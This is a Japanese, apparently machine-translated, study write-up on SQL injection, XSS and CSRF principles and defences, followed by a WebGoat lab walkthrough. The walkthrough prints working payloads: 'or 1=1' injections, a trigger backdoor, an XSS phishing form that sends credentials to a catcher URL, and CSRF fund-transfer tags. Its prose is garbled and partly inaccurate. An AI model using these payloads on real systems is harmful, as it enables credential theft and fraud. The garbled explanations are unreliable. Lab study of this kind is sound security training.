まず、基本的な質問には答え
1.SQLインジェクション攻撃の原則、どのように守るために?
- 原則:SQLインジェクションは、悪質なSQLコマンドを実行するサーバーを欺くために最終的には、クエリ文字列を送信したり、SQLコマンドでドメイン名またはページ要求を入力するには、Webフォームに挿入されています。
SQLインジェクション攻撃に使用されたSQLインジェクション攻撃の主な理由は、動的に生成されたSQL文を成功することを確認するために、設計、操作のSQLターゲット・サーバー上の文だけでなく、攻撃の他の手段の抜け穴を利用するユーザー入力データを意味しません。以下のような: -実際に表示用のログイン情報を決して実現スタイルを使用して、閉鎖、コメントセクションのSQL文を達成するために、#、およびその他の特殊文字、引用符、ユーザー名、パスワード入力ボックス、登録番号」を入力します。 - 防衛は:
オフにしたり、削除、不要なインタラクティブフォームのページを提出し、
注入点コードフィルタキーワードに関連する脆弱性を(例えば:正規表現を使用する)コードのセキュリティを標準化する;
ことを避けるために、サーバー側でバックアップファイルを置かないでください感染、またはバックアップファイルが出発点を引き起こし、抜け穴が含まれています。
それは特別な意味を持たないように、データベースの内容が暗号化されています。
原理2.XSS攻撃、どのように守るために? - 原則:XSS:クロスサイトスクリプティング。脆弱性のサイトを攻撃者(通常はこれらの脆弱性のサイトには、ユーザーの入力をフィルタリングするために十分スプーラではないこと)、入力ページに表示することができ、HTMLコードの他のユーザーへの影響;によるターゲットへの犠牲者のブラウザに信頼されたサーバーでは、ターゲットサーバへのアクセスは、悪意のあるスクリプトを挿入する場合:ページをこの悪意のあるスクリプトの(HTMLタグやJavaScriptコードなど)が正常に実装することができ、ユーザーのクッキーを得る目的を達成し、不正な操作のためのユーザーIDを利用することができます。
- 防衛:
ユーザの視点:ユーザー名やパスワードなど、個人情報を入力しないでください、意識を高め、
視野のウェブ作者ポイント:
入力パラメータとURLフィルタリングを
出力データの前に潜在的な脅威の文字をエンコードするために、エスケープ
3.CSRFを攻撃、どのように守るために? - 原則:
CSRF:クロスサイトリクエストフォージェリ。
CSRFは、偽のログインです。現在の状況のセッションは、被害者の特定のアカウントとパスワードを気にしないクッキー攻撃の存在下での主流であるため、ユーザのログイン後、ユーザーはセッションであるため、クロスサイト偽造要求の核心は、ユーザーセッション、またはクッキーを盗みます唯一の証拠は、限り、攻撃者はセッションを得ることができるよう、。サーバーへの被害者として偽装することができ
、その後、ウェブサイトaを訪問し、検証した後、ユーザー名とパスワードを入力するために、サイトAにアクセスするとき、サイトAは、クッキー情報やリターンを生成し、主に成功は、通常、サイトAに要求を送信します 出口部位は、別のアクセス、Bではない前に、サイトBはサイトAに、いくつかの攻撃コードと要求へのアクセスを返すことがあるため、サイトBの要求に応じて、要求元のサイトAへ Webサイトが、要求が悪質であるかわからないので、それは悪質なコードを実行します - 防衛:
トークンの要求を確認し
リファラーを検証
追加プラス検証
設定Cookieドメインを
練習
(A)取付WebGoat
1.ダウンロードwebgoat容器-7.0.1-war- exec.jarのファイル
2、ファイルを含むディレクトリ内のコマンドjava -jar webgoat-container-7.0.1-war-exec.jar
操作WebGoatを、メッセージ:ProtocolHandler起動[ "HTTPバイオ -8080"] 成功への説明は、実験は、端末閉じることができない
3を、お使いのブラウザに入力するhttp://localhost:8080/WebGoat
ログイン画面を入力するWebGoat
4を、ゲストにログインするデフォルトのユーザー名とパスワードを使用します
SQL攻撃
- 1.Numeric SQLインジェクションは
、ソースコードを変更する要素のレビューページ要素を検査選択し、ページ上で右クリックして追加したり、選択した都市の数値の値の1 = 1:
攻撃が成功すると気象条件のすべての都市を表示します。
2.Logスプーフィングは、
キャリッジリターン(0D%)と改行(%の0A)を使用して、ユーザー名を記入しzch%0d%0aLogin Succeeded for username: admin
、攻撃が成功しています。
SQLインジェクション3.String
スミス:対象の要件に応じて入力します。あなたは、関連情報のクエリ、文を参照してくださいすることができますSELECT * FROM user_data WHERE last_name = 'Smith'
ウイング注入真式「1 =か」1回の攻撃が成功しました:
- 4.LAB:SQLインジェクション
ステージ1:SQLインジェクション文字列:
入力しor 1=1 --
たSQLインジェクションを、失敗しました。ソースコードを再度注入し、成功を変更し、入力された長さの制限で見つかったソースコードを参照してください。
- 5.Databaseバックドア
まず、文をテストし`たユーザIDに101を入力するには、更新、従業員のセットの給料 = 5000、 更新されたデータを見ることができます
注入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHEREuserid = NEW.userid
バックドアを作成します。
XSS攻撃
- XSSと1.Phishing
XSS攻撃コードする検索ボックス直接入力で。参照の作成、ユーザーがユーザー名とパスワードを入力できるようにするためのフォームを追加し、この情報をサイトに送信して表示することができます
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
フォームが表示され、検索をクリックして、情報を入力し、攻撃が成功しています。
2.Stored XSS攻撃は
違法なメッセージの内容を作成し、ユーザーが訪問したときに意図しないページの読み込みやその他のコンテンツにつながることができます;という名前のタイトル、メッセージ内の文字列jsのコードを入力します<script>alert("boy next door");</script>
、先ほど作成したポストの上にポップアップウィンドウをクリックします
3.Reflected XSS攻撃
間違ったユーザー情報、ミスをチェックし、サーバ、エラーが返され、エラーページのコンテンツのプレゼンテーションを入力した後。あなたはURLの攻撃を入力すると、その情報に戻ります。提出し、次のコマンドを入力します。
CRSF攻撃
1.Crossサイトリクエストフォージェリ(CSRF)は
、ユーザが、それはCSRFイベントをトリガしますクリックするとメッセージボックスにURLを記述し、他のユーザーには見えない、隠された絵を設定し、メッセージに、入力した<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />;
メッセージをクリックすると、ページになりますこのメッセージやディスプレイをダウンロードし、ユーザーが預金をそむけ実行します。
- バイパス2.CSRFプロンプト
メッセージボックスを、入力します。
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
メッセージを表示し、転送のニュースを参照してください。